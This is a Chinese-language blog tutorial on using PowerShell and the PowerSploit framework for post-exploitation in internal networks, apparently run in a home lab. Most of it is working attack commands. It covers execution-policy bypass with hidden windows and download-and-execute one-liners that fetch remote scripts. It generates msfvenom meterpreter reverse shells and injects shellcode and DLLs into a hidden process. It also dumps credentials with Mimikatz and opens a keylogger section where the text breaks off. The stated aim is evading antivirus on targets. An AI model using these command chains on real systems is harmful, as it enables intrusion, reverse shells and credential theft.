说说Powersploit在内网渗透中的使用

摘要: 内网环境下,我们用metasploit生成一个payload,万一运气稍微好点的,碰到了像360这些东西,我等小白是一脸懵的,这种情况下,就可以想powershell,总不会杀软连这个都要杀吧。


总之powershell + metasploit,双剑合璧,对我们来说在内网渗透中对我们还是有很大的帮助的,可以说是一个巨大的隐藏宝藏!

进入正题

一.Powershell

我们先来说说powershell,PowerShell 是运行在 Windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。

这是别人说的,不过稍微研究下觉得,哇塞,这东西真的挺牛的,除了语法麻烦以外,剩下都挺好,不过语法麻烦让我们这种英文不好的人怎么玩啊

            

当前 PowerShell 有五个版本,分别为 1.0,2.0,3.0,4.0,5.0

当时看别人的文章都说是有四个版本,但是我打开windows10看一眼,恩,微软更新了,windows10自带的5.(好几)的版本啊

 先来看看他的基本命令:

 新建目录 New-Item whitecellclub -ItemType Directory

 新建文件 New-Item light.txt -ItemType File

 删除目录 Remove-Item whitecellclub

 显示文本内容 Get-Content light.txt

 设置文本内容 Set-Content light.txt -Value “i love light so much”

 追加内容 Add-Content light.txt -Value “but i love you more”

 清除内容 Clear-Content light.txt

看看吧,什么感觉,你还喜欢他么?

不过好在,微软也想到了这个问题,我们可以用windows下的命令跟Linux下的命令,比如:

这里说一下,我们怎么看我们powershell的版本,


Get-Host


这个是虚拟机的win7,所以是2.0的版本

powershell还有一些比较叼的用法:

本地权限绕过执行


PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1


本地隐藏权限绕过执行脚本


PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1


直接用IEX下载远程的PS1脚本回来权限绕过执行


powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"


我们可以来试一下:

这个命令是可以看到我们的版本的

完美绕过!(ps:这里说一下,ps1结尾的是powershell脚本,大家可以自己去研究下,我这里就不在赘述了,因为我也不会写这种脚本)

二. Powersploit

介绍完了,我们开始我们的正题吧 Powersploit在内网渗透中的使用

powersploit一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。

github地址: https://github.com/mattifestation/PowerSploit

这里才是重点,我们开始吧:

首先,我在我本机上下载这个脚本文件

ps:我本机用的是ubuntu,所以我这里就用ubuntu代替kali的操作

下载完成之后,我们把我们下载的文件放到apache目录小,让我们可以远程下载,然后启动apache


service apache2 start


然后我们访问我们的127.0.0.1  保证我们可以访问的到

他的目录就跟metasploit一样,分工明确

CodeExecution 在目标主机执行代码

ScriptModification 在目标主机上创建或修改脚本

Persistence 后门脚本(持久性控制)

AntivirusBypass 发现杀软查杀特征

Exfiltration 目标主机上的信息搜集工具

Mayhem 蓝屏等破坏性脚本

Recon 以目标主机为跳板进行内网信息侦查

(1). Invoke-Shellcode

 我们使用 Invoke-Shellcode

Invoke-Shellcode的作用:将shellcode插入您选择的进程ID或本地PowerShell中。

Invoke-Shellcode配合上metasploit,可以达到意想不到的效果

现在主机上下载我们的脚本(当然,你也可以直接从github上去下载,也可以从我们本机下载)


IEX (New-Object Net.WebClient).DownloadString("http://IP Adress/CodeExecution/Invoke--Shellcode.ps1")


我从我本机去下载

没有报错,基本上是下载成功了,我们可以使用Get-Help查看帮助,详细见上图

现在powersploit更新到了3.0,很多地方发生了改变,所以这里的语法发生了改变,至于之前的语法   自己百度吧,不过我想应该你是没有机会碰到了 – –

我们在ubuntu下执行:


msfvenom -p windows/meterpreter/reverse_https lhost=192.168.102.1 lport=4444 -f powershell -o /var/www/html/PowerSploit/test


这里我们生成一个payload反弹木马

这里偷懒,直接生成在我的目录下,然后在win7下执行


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test")


并且设置监听

在powershell下运行


Invoke-Shellcode -Shellcode ($buf)

反弹成功

如果我们不想让powershell提示让我我们输入y确定的话,我们可以用这条命令


Invoke-Shellcode -Shellcode ($buf) -Force


这样他就不会提醒了

(2). 注入进程

我们可以把我们的马儿注入到一个进程里去,这个进程可以是现有的,也可以是我们重新启动一个

这里我就重启一个进程,顺便说两条powershell命令


Get-Process


这条命令可以让我们获取当前的进程,当然,你ps也可以的

然后我们重启一个进程


Start-Process C:\Windows\system32\notepad.exe -WindowStyle Hidden


这里我们启动了一个记事本,并把他设置成隐藏的

要记住我们的进程号,可以看到我这里记事本的进程为3348,


Invoke-Shellcode -ProcessID 3348 -Shellcode($buf) -Force


同样的,反弹成功!

(3).dll注入

Invoke-DLLInjection 是DLL注入脚本

首先还是一样的,下载脚本


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")


然后我们要使用metasploit生成一个dll文件


sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.102.1 lport=4444 -f dll -o /var/www/html/PowerSploit/test.dll


然后我们去下载下来这个dll文件


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/test.dll")(不可用此方法下载,需手动下载)


刚刚注入进程的时候我们就启动了一个新的进程,这次我们就注入到现有的进程中

我们就注入到3632这个进程中,


Invoke-DllInjection -ProcessID 3632 -Dll .\test.dll


注意切换模块,我们用的是reverse_tcp这个payload

切换完成,开始监听,这边执行

success!

PS:这里的话要注意了,dll文件不能直接通过powershell直接下载,我们要想办法传到服务器上,至于怎么传,大家各显神通吧~

(4).Invoke-Portscan端口扫描

他肯定没有nmap好用,但是各有优势吧,这个东西小,powershell窗口一关,他就消失了,但是nmap的话,你还要在人家服务器上下一个nmap么??动静太大了吧 – –

同样的,下载


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Recon/Invoke-Portscan.ps1")


使用方法:

Invoke-Portscan -Hosts (ip,两个ip中使用,分割) -Ports “端口,一样的,分割”


Invoke-Portscan -Hosts 192.168.102.1,192.168.102.128 -Ports "80,22,3389"


扫描结果

(5).Invoke-Mimikatz

这玩意,干嘛的不用说了吧,相信大家都用过,内网神器!


IEX (New-Object Net.WebClient).DownloadString("http://192.168.102.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")


使用


Invoke-Mimikatz -DumpCreds


这里抓取失败了,因为不是管理员权限,我们用管理员权限重新抓取

抓取成功,密码就是123456

(5).Get-Keystrokes

键盘记录,这玩意比metasploit下的那个键盘

下一篇:利用shadowsocks和...